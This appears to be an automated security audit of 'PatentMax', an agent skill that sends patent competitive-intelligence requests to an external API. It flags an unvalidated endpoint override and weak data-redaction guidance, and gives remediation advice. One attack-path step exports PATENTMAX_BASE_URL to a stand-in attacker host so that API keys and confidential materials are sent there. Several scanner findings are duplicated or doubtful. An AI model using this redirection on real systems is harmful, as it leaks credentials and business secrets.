Back to skill

Security audit

企业情报分析 · PatentMax

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its patent-report purpose, but it can transmit API keys and sensitive business materials to an unvalidated endpoint and gives weak data-redaction guidance.

Review this skill before installing. Use it only in a trusted shell environment, do not set PATENTMAX_BASE_URL unless you fully trust the HTTPS endpoint, and avoid submitting credentials, personal data, privileged legal material, restricted third-party documents, or unnecessary trade secrets. A safer version should pin or allowlist the API host and add explicit redaction and external-transfer consent guidance.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/patentmax_competitive.py:37
Finding
Arbitrary API endpoint override can disclose credentials and sensitive report data## Vulnerability Details **File Location**: `scripts/patentmax_competitive.py`, lines 37 and 61-65 **Vulnerability Type**: Unvalidated destination override and bearer-token disclosure **Risk Level**: High ### Vulnerable Code ```python BASE_URL = os.environ.get("PATENTMAX_BASE_URL", "https://api.ip930.com").rstrip("/") ``` ```python url = path if path.startswith("http") else f"{BASE_URL}{path}" data = json.dumps(body, ensure_ascii=False).encode("utf-8") if body is not None else None req = urllib.request.Request(url, data=data, method=method) req.add_header("Authorization", f"Bearer {API_KEY}") req.add_header("Accept", "application/json") ``` ### Technical Analysis The API destination is taken from the `PATENTMAX_BASE_URL` environment variable without validating its scheme, hostname, or port. Every request constructed from this destination receives the production bearer credential in the `Authorization` header. The code does not require HTTPS and does not restrict the destination to `api.ip930.com`. Consequently, an attacker who can influence the process environment can redirect requests to an attacker-controlled server. A `create` request additionally contains the complete report input, including company intelligence, internal research, analysis objectives, technical plans, and competitor information. This is not command execution or privilege escalation, but it violates destination integrity and can disclose both authentication material and confidential input data. ### Attack Path 1. The attacker gains the ability to influence the environment used to launch the Skill, such as through a wrapper script, compromised shell profile, CI configuration, container environment, or agent runtime configuration. 2. The attacker sets: ```bash export PATENTMAX_BASE_URL="http://attacker.example" ``` 3. The user or agent invokes the report creation command with a valid `PATENTMAX_API_KEY`. 4. The script constr ...[truncated 1071 chars]
Remediation
## Remediation Suggestions 1. Pin production traffic to the intended HTTPS origin: ```python BASE_URL = "https://api.ip930.com" ``` 2. If endpoint overrides are required for testing, parse and validate them with `urllib.parse.urlparse` and enforce: - Scheme exactly equal to `https`. - Hostname on an explicit allowlist. - No embedded username or password. - No unexpected port. 3. Place custom endpoints behind an explicit test-mode flag and reject live keys when test mode is enabled. 4. Never attach the authorization header to an untrusted or redirected origin. 5. Disable or strictly validate HTTP redirects so credentials cannot be forwarded to another host. 6. Add automated tests confirming that HTTP URLs, arbitrary hosts, malformed URLs, and cross-origin redirects are rejected. 7. Rotate any API key used in an environment where `PATENTMAX_BASE_URL` may have been modified.

T09 · Insecure Skill Coding Practices

Warning
Location
references/materials-guide.md:37
Finding
Workflow encourages transmission of confidential materials without data-minimization safeguards## Vulnerability Details **File Location**: `references/materials-guide.md`, lines 37, 84, and 105 **Vulnerability Type**: Unsafe handling guidance for confidential external-service inputs **Risk Level**: Medium ### Vulnerable Documentation The guide explicitly recommends including the following types of content: ```text Your own technical solution, when comparison is involved. Pasting original source text is better than summarizing it. Your own team's research notes, which are often the most valuable material. ``` These are English translations of the directives at the cited source locations. ### Technical Analysis The Skill sends the `materials` field to an external API. The materials guide encourages users to provide internal technical solutions, original document excerpts, and team research notes, but it does not instruct them to classify, minimize, or redact the data first. The workflow also does not warn users to exclude: - API keys, passwords, or other credentials. - Personal or regulated information. - Trade secrets unrelated to the requested analysis. - Attorney-client privileged or litigation-sensitive material. - Confidential third-party documents subject to contractual restrictions. Payment confirmation through `--yes` does not constitute informed consent to transmit confidential content to a third-party processor. No separate disclosure confirmation, retention warning, or redaction control is provided. ### Attack Path 1. A user asks the agent to prepare a competitive patent analysis. 2. Following the materials guide, the agent collects internal technical designs, original source documents, and team research notes. 3. The content is placed in a materials file or passed through `--materials`. 4. The user confirms the paid task, but is not separately warned that the collected internal content will be transmitted to an external service. 5. The script sends the complete content to the remote ...[truncated 893 chars]
Remediation
## Remediation Suggestions 1. Add a prominent warning that all submitted materials are transmitted to an external service. 2. Require explicit data-transfer consent separately from payment confirmation. 3. Instruct users to remove credentials, personal information, privileged communications, restricted third-party content, and unnecessary trade secrets. 4. Apply data minimization: request only the excerpts needed for the stated analysis objective. 5. Provide a redaction checklist and recommend summaries instead of full original documents where possible. 6. Document the service's retention, deletion, access-control, training-use, and geographic-processing policies. 7. Add an optional local preflight scanner for common secrets and sensitive-data patterns before submission. 8. Require organizational approval before processing confidential or regulated information. 9. Clearly distinguish payment authorization from authorization to disclose business data to a third party.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (15)

Tainted flow: 'req' from os.environ.get (line 63, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Content
req.add_header(key, value)

    try:
        with urllib.request.urlopen(req, timeout=TIMEOUT) as response:
            payload = response.read()
            return payload if raw else json.loads(payload.decode("utf-8"))
    except urllib.error.HTTPError as exc:
Confidence
92% confidence
Finding
The request destination is derived from PATENTMAX_BASE_URL, an environment variable, and the code permits any absolute URL via `path.startswith("http")`. This can redirect authenticated requests carrying the Bearer API key and sensitive report inputs to an attacker-controlled host, creating SSRF/exfiltration risk if the environment or call path is influenced by an adversary.

Lp1

High
Category
MCP Least Privilege
Confidence
95% confidence
Finding
The script performs outbound network access to a third-party API, but the skill metadata reportedly does not declare network permissions. Undeclared network capability is a real security concern because it enables external data transmission without explicit policy approval or user visibility.

Lp1

High
Category
MCP Least Privilege
Confidence
95% confidence
Finding
The script performs outbound network access to a third-party API, but the skill metadata reportedly does not declare network permissions. Undeclared network capability is a real security concern because it enables external data transmission without explicit policy approval or user visibility.

Natural-Language Policy Violations

Medium
Confidence
96% confidence
Finding
The natural-language content of the skill description, usage instructions, warnings, and limitations is presented only in Chinese. Under the policy criteria, forcing a specific language without user opt-in can be a language/locale policy violation when no alternative language option or explicit justification is provided.

Natural-Language Policy Violations

Medium
Confidence
92% confidence
Finding
The manifest description is primarily written in Chinese and defines invocation examples and usage context in Chinese, while the rest of the document also assumes Chinese outputs and phrasing. There is no explicit opt-in or statement that users may choose another language, which can violate a language/locale policy requiring user choice.

External Transmission

Medium
Category
Data Exfiltration
Content
实在没有就直接发 HTTP 请求:

```bash
curl -s -X POST "https://api.ip930.com/api/v1/reports" \
  -H "Authorization: Bearer $PATENTMAX_API_KEY" \
  -H "Content-Type: application/json" \
  -H "Idempotency-Key: 自定义唯一串" \
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Natural-Language Policy Violations

Medium
Confidence
96% confidence
Finding
This markdown file contains all operational guidance in Chinese and does not indicate that users may choose another language. That can violate a language/locale policy when the skill is used in broader contexts where users have not explicitly opted into Chinese.

Intent-Code Divergence

Medium
Confidence
92% confidence
Finding
At L108 the document states this task only describes the current state and does not provide advice on future布局. However, L093-L095 explicitly direct the agent to produce a one-line conclusion supporting or not supporting the user's decision, plus '绕行建议', which are recommendations. This is an active contradiction in the workflow's stated intent versus expected output.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
The module docstring explicitly states that errors are returned with Chinese prompts, and the rest of the CLI help and status messages are also hard-coded in Chinese. This is a natural-language locale policy issue because the skill enforces a specific language without any user opt-in or configurable language selection.

External Transmission

Medium
Category
Data Exfiltration
Content
def request(path, method="GET", body=None, headers=None, raw=False):
    if not API_KEY:
        die("未设置 API 密钥。请先 export PATENTMAX_API_KEY=pm_live_xxx,"
            "密钥在 https://api.ip930.com/features/api-platform 创建。")

    url = path if path.startswith("http") else f"{BASE_URL}{path}"
    data = json.dumps(body, ensure_ascii=False).encode("utf-8") if body is not None else None
Confidence
84% confidence
Finding
The skill transmits user-supplied competitive-intelligence materials and API credentials to an external service. In this skill context, the external transfer is expected business functionality, but it is still security-relevant because the data may include sensitive corporate intelligence and is sent off-platform.

External Transmission

Medium
Category
Data Exfiltration
Content
hint = {
            400: "参数不正确。subject 至少 3 字,materials 至少 5 字,objective 至少 3 字。",
            401: "密钥无效或已撤销。",
            402: "余额不足,到 https://api.ip930.com/features/api-platform 充值。",
            403: "该密钥没有此接口的权限。",
            404: "任务或报告不存在。确认 id 抄全了。",
            409: "任务冲突:报告还没跑完就来取结果,或同一个 Idempotency-Key 正在处理中。",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
hint = {
            400: "参数不正确。subject 至少 3 字,materials 至少 5 字,objective 至少 3 字。",
            401: "密钥无效或已撤销。",
            402: "余额不足,到 https://api.ip930.com/features/api-platform 充值。",
            403: "该密钥没有此接口的权限。",
            404: "任务或报告不存在。确认 id 抄全了。",
            409: "任务冲突:报告还没跑完就来取结果,或同一个 Idempotency-Key 正在处理中。",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
hint = {
            400: "参数不正确。subject 至少 3 字,materials 至少 5 字,objective 至少 3 字。",
            401: "密钥无效或已撤销。",
            402: "余额不足,到 https://api.ip930.com/features/api-platform 充值。",
            403: "该密钥没有此接口的权限。",
            404: "任务或报告不存在。确认 id 抄全了。",
            409: "任务冲突:报告还没跑完就来取结果,或同一个 Idempotency-Key 正在处理中。",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
hint = {
            400: "参数不正确。subject 至少 3 字,materials 至少 5 字,objective 至少 3 字。",
            401: "密钥无效或已撤销。",
            402: "余额不足,到 https://api.ip930.com/features/api-platform 充值。",
            403: "该密钥没有此接口的权限。",
            404: "任务或报告不存在。确认 id 抄全了。",
            409: "任务冲突:报告还没跑完就来取结果,或同一个 Idempotency-Key 正在处理中。",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Natural-Language Policy Violations

Low
Confidence
98% confidence
Finding
This markdown guidance forces a specific language/locale for all users through its natural-language instructions. The file does not provide an opt-in, alternative language option, or justification that the skill is intended only for a Chinese-speaking or region-specific audience.

Static analysis

No suspicious patterns detected.